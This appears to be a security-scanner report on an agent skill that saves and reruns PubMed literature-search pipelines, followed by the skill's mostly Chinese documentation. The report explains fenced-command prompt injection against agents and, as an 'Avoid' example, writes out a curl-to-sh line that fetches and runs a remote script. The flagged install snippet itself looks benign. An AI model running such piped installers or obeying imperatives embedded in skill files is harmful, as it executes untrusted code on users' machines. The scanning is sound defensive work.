CategoryWeightCategory scoreContribution

Securityprompt, exec, net, exfil, eval

35%

26.3 pts

Supply chainhash, typosquat, maintainer, lockfile

20%

100

20.0 pts

Maintenancestaleness, pinning, CI

15%

100

15.0 pts

TransparencySKILL.md, perms, README

15%

100

15.0 pts

Communityinstalls, verify, response

15%

100

15.0 pts

Findings & checks · 1 flagged

Securityscore 75 · 1 finding

HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · README.md

HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.

Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted

excerptREADME.md· markdown

180```bash

181git clone https://github.com/u9401066/academic-figures-mcp.git

182cd academic-figures-mcp

183uv sync

184# then copy env.example to env and fill one provider key,

185# or provide GOOGLE_API_KEY / OPENROUTER_API_KEY / OPENAI_API_KEY

186# through your shell or MCP host config

187```

188

Occurrences

1 occurrence · at L180

How to fix

Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.

Delete the imperative ("run this", "execute the following") from inside the fence.
If you must show setup, label the block text (not bash) so it reads as prose, not a command.
Move any real installer into a reviewed, version-pinned script in the repo and link to it.

Avoid

```bash
Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh
```

Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.

Framework references

OWASPLLM01 ATLASAML.T0051

Trace & refs

ruleSS-SKILL-INJECT-FENCED-RUN-01sha2566956226c53ac2ef1…rubric 365aacaView on GitHub

Supply chainscore 100 · 0 findings

✓—All supply chain checks passedNo findings in this category for the latest scan.pass

Maintenancescore 100 · 0 findings

✓—All maintenance checks passedNo findings in this category for the latest scan.pass

Transparencyscore 100 · 0 findings

✓—All transparency checks passedNo findings in this category for the latest scan.pass

Communityscore 100 · 0 findings

✓—All community checks passedNo findings in this category for the latest scan.pass

The primary manifest — the file an agent reads to learn what this artifact does.

.claude/skills/pipeline-persistence/SKILL.md · 1 file

.claude/skills/pipeline-persistence/SKILL.md9.6 KB · Markdown

name: pipeline-persistence

description: "Pipeline persistence — save, load, and reuse structured search plans. Triggers: pipeline, 管道, search plan, 搜尋計畫, 重複搜尋, saved search, 排程, schedule, workflow, DAG"

Pipeline 持久化 — 結構化搜尋計畫管理

描述

將複雜的搜尋流程保存為可重複使用的 Pipeline YAML 配置。支援：

從模板快速建立（PICO、comprehensive、exploration、gene_drug）
自訂 DAG（有向無環圖）多步驟管道
雙層儲存（workspace + global）
自動驗證 + 激進式自動修正（21 條規則）

觸發條件

「把這個搜尋存起來」、「建立搜尋計畫」
「每週跑一次這個搜尋」、「保存這個 pipeline」
「列出我的管道」、「上次的搜尋可以再跑嗎」
「把剛才的搜尋轉成 search plan」

🌟 快速開始

方法 1: 用模板（最簡單）

# 保存一個 PICO 模板 pipeline
save_pipeline(
    name="icu_remimazolam_vs_propofol",
    config="""
template: pico
params:
  P: ICU patients requiring sedation
  I: remimazolam
  C: propofol
  O: delirium incidence, sedation quality
""",
    tags="anesthesia,sedation,ICU",
    description="Weekly monitoring: remimazolam vs propofol ICU sedation"
)

# 執行已保存的 pipeline
unified_search(pipeline="saved:icu_remimazolam_vs_propofol")

方法 2: 自訂 DAG（完整控制）

save_pipeline(
    name="brca1_comprehensive",
    config="""
steps:
  - id: expand
    action: expand
    params:
      topic: BRCA1 breast cancer
  - id: pubmed
    action: search
    params:
      query: BRCA1 breast cancer
      sources: pubmed
      limit: 50
  - id: expanded
    action: search
    inputs: [expand]
    params:
      strategy: mesh
      sources: pubmed,openalex
      limit: 50
  - id: merged
    action: merge
    inputs: [pubmed, expanded]
    params:
      method: rrf
  - id: enriched
    action: metrics
    inputs: [merged]
output:
  format: markdown
  limit: 30
  ranking: quality
""",
    tags="genetics,oncology",
    description="BRCA1 breast cancer comprehensive search with MeSH expansion"
)

6 個 MCP 工具

save_pipeline — 保存管道

save_pipeline(
    name="weekly_remimazolam",     # 唯一名稱 (英數 + _ -, max 64)
    config="<YAML or JSON>",       # Pipeline 配置
    tags="tag1,tag2",              # 逗號分隔標籤
    description="...",             # 人類可讀描述
    scope="auto"                   # "workspace" | "global" | "auto"
)

自動修正範例：

action: "find" → 自動修正為 action: "search"（別名解析）
action: "serach" → 自動修正為 action: "search"（模糊匹配）
缺少 step ID → 自動生成 step_1, step_2...
重複 step ID → 自動重命名 s1 → s1_2
循環依賴 → 自動移除問題引用

list_pipelines — 列出管道

list_pipelines()                    # 列出所有
list_pipelines(tag="ICU")           # 按標籤過濾
list_pipelines(scope="workspace")   # 只看工作區

load_pipeline — 載入管道

load_pipeline(source="weekly_remimazolam")            # 從已保存
load_pipeline(source="file:path/to/pipeline.yaml")    # 從檔案

delete_pipeline — 刪除管道

delete_pipeline(name="old_search")  # 刪除配置 + 歷史

get_pipeline_history — 查看執行歷史

get_pipeline_history(name="weekly_remimazolam", limit=5)
# 顯示：日期、文章數、新增/移除文章、狀態

schedule_pipeline — 排程（Phase 4 尚未實作）

schedule_pipeline(name="weekly_remimazolam", cron="0 9 * * 1")
# ⚠️ 目前返回使用說明，建議手動執行或使用 OS 排程

4 個內建模板

pico — PICO 臨床問題

template: pico
params:
  P: ICU patients requiring sedation
  I: remimazolam
  C: propofol
  O: delirium incidence
  sources: pubmed        # 可選，預設 pubmed
  limit: 20              # 可選

自動產生的 DAG：

pico → search_p  ──┐
     → search_i  ──┤
     → search_c  ──┼→ merged → enriched

comprehensive — 多資料庫 + MeSH 擴展

template: comprehensive
params:
  query: CRISPR gene therapy safety
  sources: pubmed,openalex,europe_pmc  # 可選
  limit: 30                             # 可選
  min_year: 2020                        # 可選

自動產生的 DAG：

expand → search_expanded  ──┐
         search_original  ──┼→ merged → enriched

exploration — 種子論文探索

template: exploration
params:
  pmid: "33475315"
  limit: 20        # 每個方向的限制

自動產生的 DAG：

related  ──┐
citing   ──┼→ merged → enriched
refs     ──┘

gene_drug — 基因/藥物搜尋

template: gene_drug
params:
  term: BRCA1
  sources: pubmed,openalex  # 可選
  limit: 20                  # 可選
  min_year: 2020             # 可選

10 個可用 Action

Action	說明	主要參數
`search`	文獻搜尋	`query`, `sources`, `limit`, `min_year`, `max_year`
`pico`	PICO 元素解析	`P`, `I`, `C`, `O`
`expand`	MeSH/同義詞擴展	`topic`
`details`	取得文章詳情	`pmids`
`related`	相關文章	`pmid`, `limit`
`citing`	引用文章	`pmid`, `limit`
`references`	參考文獻	`pmid`, `limit`
`metrics`	iCite 引用指標	（從 inputs 取得）
`merge`	合併結果	`method`: `union` / `intersection` / `rrf`
`filter`	過濾結果	`min_year`, `max_year`, `article_types`, `min_citations`, `has_abstract`

雙層儲存模型

Workspace scope (.pubmed-search/pipelines/)
├── 每個專案獨立
├── 可納入 git 追蹤
└── 團隊共享

Global scope (~/.pubmed-search-mcp/pipelines/)
├── 跨專案共用
├── 個人偏好
└── 通用模板

解析順序： workspace 優先 → global fallback

生產級範例

範例 1: 週報搜尋 — 麻醉藥物監控

name: weekly_anesthesia_monitoring
steps:
  - id: search_remimazolam
    action: search
    params:
      query: remimazolam
      sources: pubmed,europe_pmc
      limit: 50
      min_year: 2024
  - id: search_dex
    action: search
    params:
      query: dexmedetomidine ICU sedation
      sources: pubmed
      limit: 50
      min_year: 2024
  - id: merged
    action: merge
    inputs: [search_remimazolam, search_dex]
    params:
      method: union
  - id: filtered
    action: filter
    inputs: [merged]
    params:
      has_abstract: true
      article_types: "Journal Article,Clinical Trial,Randomized Controlled Trial"
  - id: enriched
    action: metrics
    inputs: [filtered]
output:
  format: markdown
  limit: 30
  ranking: recency

範例 2: 種子論文深度探索

name: explore_landmark_paper
steps:
  - id: seed_details
    action: details
    params:
      pmids: "33475315"
  - id: related
    action: related
    params:
      pmid: "33475315"
      limit: 30
  - id: citing
    action: citing
    params:
      pmid: "33475315"
      limit: 30
  - id: refs
    action: references
    params:
      pmid: "33475315"
      limit: 30
  - id: merged
    action: merge
    inputs: [related, citing, refs]
    params:
      method: rrf
  - id: enriched
    action: metrics
    inputs: [merged]
output:
  format: markdown
  limit: 25
  ranking: impact

範例 3: 系統性文獻回顧 — SGLT2 + 心衰竭

name: sglt2_heart_failure_review
steps:
  - id: pico
    action: pico
    params:
      P: Type 2 diabetes with heart failure
      I: SGLT2 inhibitors
      C: standard care
      O: hospitalization, mortality
  - id: mesh_expand
    action: expand
    params:
      topic: SGLT2 inhibitors heart failure outcomes
  - id: search_pico_p
    action: search
    inputs: [pico]
    params:
      element: P
      sources: pubmed,europe_pmc
      limit: 100
  - id: search_pico_i
    action: search
    inputs: [pico]
    params:
      element: I
      sources: pubmed,europe_pmc
      limit: 100
  - id: search_expanded
    action: search
    inputs: [mesh_expand]
    params:
      strategy: mesh
      sources: pubmed,openalex
      limit: 100
  - id: merged
    action: merge
    inputs: [search_pico_p, search_pico_i, search_expanded]
    params:
      method: rrf
  - id: filtered
    action: filter
    inputs: [merged]
    params:
      min_year: 2018
      has_abstract: true
  - id: enriched
    action: metrics
    inputs: [filtered]
output:
  format: markdown
  limit: 50
  ranking: quality

Agent 產生 Pipeline 的最佳實踐

將對話搜尋轉為 Pipeline

Agent 在完成一次成功搜尋後，可以：

# 1. 回顧剛才的搜尋策略
# 2. 轉化為 Pipeline YAML
save_pipeline(
    name="auto_from_session",
    config="""
steps:
  - id: main_search
    action: search
    params:
      query: "<剛才的查詢>"
      sources: pubmed,openalex
      limit: 50
  - id: enriched
    action: metrics
    inputs: [main_search]
output:
  limit: 20
  ranking: balanced
""",
    description="Auto-generated from search session"
)

# 3. 下次直接重複
# unified_search(pipeline="saved:auto_from_session")

常見模式

場景	推薦模板	說明
臨床問題 A vs B	`pico`	自動解析 PICO、並行搜尋
主題綜合搜尋	`comprehensive`	多源 + MeSH 擴展
已知重要論文	`exploration`	三方向探索（related/citing/refs）
基因/藥物研究	`gene_drug`	詞彙擴展 + 多源
複雜工作流	自訂 DAG	完全控制每個步驟

pipeline-persistence— agent skill

Is pipeline-persistence safe to install?

Pipeline 持久化 — 結構化搜尋計畫管理

描述

觸發條件

🌟 快速開始

方法 1: 用模板（最簡單）

方法 2: 自訂 DAG（完整控制）

6 個 MCP 工具

save_pipeline — 保存管道

list_pipelines — 列出管道

load_pipeline — 載入管道

delete_pipeline — 刪除管道

get_pipeline_history — 查看執行歷史

schedule_pipeline — 排程（Phase 4 尚未實作）

4 個內建模板

pico — PICO 臨床問題

comprehensive — 多資料庫 + MeSH 擴展

exploration — 種子論文探索

gene_drug — 基因/藥物搜尋

10 個可用 Action

雙層儲存模型

生產級範例

範例 1: 週報搜尋 — 麻醉藥物監控

範例 2: 種子論文深度探索

範例 3: 系統性文獻回顧 — SGLT2 + 心衰竭

Agent 產生 Pipeline 的最佳實踐

將對話搜尋轉為 Pipeline

常見模式

Audit the pieces. Scan the whole. Decide.